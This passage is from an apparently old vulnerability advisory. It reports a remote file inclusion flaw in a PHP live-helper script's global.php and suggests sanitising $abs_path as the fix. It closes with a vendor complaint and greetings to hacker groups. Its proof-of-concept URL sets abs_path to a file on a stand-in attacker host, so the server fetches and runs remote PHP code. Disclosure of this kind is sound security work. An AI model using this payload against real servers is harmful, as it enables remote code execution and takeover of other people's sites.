This can be exploited to execute arbitrary PHP code by including files from local or external resources. Proof Of Concept: ~~~~~~~~~~~~~~~~~ http://target.com/[phplivehelper_path]/global.php?abs_path=http://attack er.com/inject.txt? Solution: ~~~~~~~~~ - Sanitize variable $abs_path on global.php. Notification: ~~~~~~~~~~~~ I've been contacting the web/software administrator to tell about this hole in his system, but instead of giving a nice response, he replied so rudely and arrogantly. I recommend not to use this product for your own sake. ------------------------------------------------------------------------ --- Shoutz: ~~~~~ ~ solpot a.k.a chris, J4mbi H4ck3r thx for the hacking lesson :) ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous ~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama ~ newbie_hacker (at) yahoogroups (dot) com [email concealed], jasakom_perjuangan (at) yahoogroups (dot) com [email concealed] ~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~~~ matdhule[at]gmail[dot]com -------------------------------- [ EOF ]----------------------------------
